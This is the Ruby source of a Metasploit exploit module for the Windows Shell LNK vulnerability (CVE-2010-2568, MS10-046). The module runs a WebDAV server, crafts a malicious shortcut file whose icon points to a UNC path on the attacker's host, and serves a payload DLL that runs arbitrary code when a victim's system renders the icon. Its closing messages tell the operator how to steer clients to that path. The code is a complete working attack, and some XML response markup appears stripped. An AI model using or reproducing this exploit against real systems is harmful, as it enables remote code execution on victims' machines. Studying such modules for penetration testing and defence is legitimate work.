## # $Id: ms10_046_shortcut_icon_dllloader.rb 9955 2010-08-04 02:21:20Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking # # This module acts as an HTTP server # include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Windows Shell LNK Code Execution', 'Description' => %q{ This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious DLL. This module creates a WebDAV service that can be used to run an arbitrary payload when accessed as a UNC path. }, 'Author' => [ 'hdm', # Module itself 'jduck', # WebDAV implementation, UNCHOST var 'B_H' # Clean LNK template ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9955 $', 'References' => [ ['CVE', '2010-2568'], ['OSVDB', '66387'], ['MSB', 'MS10-046'], ['URL', 'http://www.microsoft.com/technet/security/advisory/2286198.mspx'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 2048, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ] ], 'DisclosureDate' => 'Jul 16 2010', 'DefaultTarget' => 0)) register_options( [ OptPort.new( 'SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), OptString.new( 'URIPATH', [ true, "The URI to use (do not change).", "/" ]), OptString.new( 'UNCHOST', [ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ]) ], self.class) deregister_options('SSL', 'SSLVersion') # Just for now end def on_request_uri(cli, request) case request.method when 'OPTIONS' process_options(cli, request) when 'PROPFIND' process_propfind(cli, request) when 'GET' process_get(cli, request) else print_error("Unexpected request method encountered: #{request.method}") resp = create_response(404, "Not Found") resp.body = "" resp['Content-Type'] = 'text/html' cli.send_response(resp) end end def process_get(cli, request) myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] webdav = "\\\\#{myhost}\\" if (request.uri =~ /\.dll$/i) print_status "Sending DLL payload #{cli.peerhost}:#{cli.peerport} ..." return if ((p = regenerate_payload(cli)) == nil) # Can't use generate_exe from Msf::Exploit::EXE since it can't currently generate dlls :-/ data = Msf::Util::EXE.to_win32pe_dll(framework, p.encoded) send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end if (request.uri =~ /\.lnk$/i) print_status "Sending LNK file to #{cli.peerhost}:#{cli.peerport} ..." data = generate_link("#{@exploit_unc}#{@exploit_dll}") send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end print_status "Sending UNC redirect to #{cli.peerhost}:#{cli.peerport} ..." resp = create_response(200, "OK") resp.body = %Q|| resp['Content-Type'] = 'text/html' cli.send_response(resp) end # # OPTIONS requests sent by the WebDav Mini-Redirector # def process_options(cli, request) print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}") headers = { 'MS-Author-Via' => 'DAV', # 'DASL' => '', # 'DAV' => '1, 2', 'Allow' => 'OPTIONS, GET, PROPFIND', 'Public' => 'OPTIONS, GET, PROPFIND' } resp = create_response(207, "Multi-Status") resp.body = "" resp['Content-Type'] = 'text/xml' cli.send_response(resp) end # # PROPFIND requests sent by the WebDav Mini-Redirector # def process_propfind(cli, request) path = request.uri print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}") body = '' my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] my_uri = "http://#{my_host}/" if path =~ /\.dll$/i # Response for the DLL print_status("Sending DLL multistatus for #{path} ...") body = %Q| #{path}#{@exploit_dll} 2010-07-19T20:29:42Z #{rand(0x100000)+128000} Mon, 19 Jul 2010 20:29:42 GMT "#{"%.16x" % rand(0x100000000)}" T application/octet-stream HTTP/1.1 200 OK | resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml' cli.send_response(resp) return end if path =~ /\.lnk$/i # Response for the DLL print_status("Sending DLL multistatus for #{path} ...") body = %Q| #{path}#{@exploit_lnk} 2010-07-19T20:29:42Z #{rand(0x100)+128} Mon, 19 Jul 2010 20:29:42 GMT "#{"%.16x" % rand(0x100000000)}" T shortcut HTTP/1.1 200 OK | resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml' cli.send_response(resp) return end if path !~ /\/$/ if path.index(".") print_status("Sending 404 for #{path} ...") resp = create_response(404, "Not Found") resp['Content-Type'] = 'text/html' cli.send_response(resp) return else print_status("Sending 301 for #{path} ...") resp = create_response(301, "Moved") resp["Location"] = path + "/" resp['Content-Type'] = 'text/html' cli.send_response(resp) return end end print_status("Sending directory multistatus for #{path} ...") body = %Q| #{path} 2010-07-19T20:29:42Z Mon, 19 Jul 2010 20:29:42 GMT "#{"%.16x" % rand(0x100000000)}" httpd/unix-directory HTTP/1.1 200 OK | subdirectory = %Q| #{path}#{Rex::Text.rand_text_alpha(6)}/ 2010-07-19T20:29:42Z Mon, 19 Jul 2010 20:29:42 GMT "#{"%.16x" % rand(0x100000000)}" httpd/unix-directory HTTP/1.1 200 OK | files = %Q| #{path}#{@exploit_dll} 2010-07-19T20:29:42Z #{rand(0x100000)+128000} Mon, 19 Jul 2010 20:29:42 GMT "#{"%.16x" % rand(0x100000000)}" T application/octet-stream HTTP/1.1 200 OK #{path}#{@exploit_lnk} 2010-07-19T20:29:42Z #{rand(0x100)+128} Mon, 19 Jul 2010 20:29:42 GMT "#{"%.16x" % rand(0x100000000)}" T shortcut HTTP/1.1 200 OK | if request["Depth"].to_i > 0 if path.scan("/").length < 2 body << subdirectory else body << files end end body << "" body.gsub!(/\t/, '') # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml; charset="utf8"' cli.send_response(resp) end def generate_link(unc) uni_unc = unc.unpack("C*").pack("v*") path = '' path << [ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].pack("C*") path << uni_unc # LinkHeader ret = [ 0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].pack('C*') idlist_data = '' idlist_data << [0x12 + 2].pack('v') idlist_data << [ 0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d ].pack('C*') idlist_data << [0x12 + 2].pack('v') idlist_data << [ 0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d ].pack('C*') idlist_data << [path.length + 2].pack('v') idlist_data << path idlist_data << [0x00].pack('v') # TERMINAL WOO # LinkTargetIDList ret << [idlist_data.length].pack('v') # IDListSize ret << idlist_data # ExtraData blocks (none) ret << [rand(4)].pack('V') # Patch in the LinkFlags ret[0x14, 4] = ["10000001000000000000000000000000".to_i(2)].pack('N') ret end def exploit unc = "\\\\" if (datastore['UNCHOST']) unc << datastore['UNCHOST'].dup else unc << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']) end unc << "\\" unc << rand_text_alpha(rand(8)+4) unc << "\\" @exploit_unc = unc @exploit_lnk = rand_text_alpha(rand(8)+4) + ".lnk" @exploit_dll = rand_text_alpha(rand(8)+4) + ".dll" if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/' end print_status("") print_status("Send vulnerable clients to #{@exploit_unc}.") print_status("Or, get clients to save and render the icon of http:///.lnk") print_status("") super end end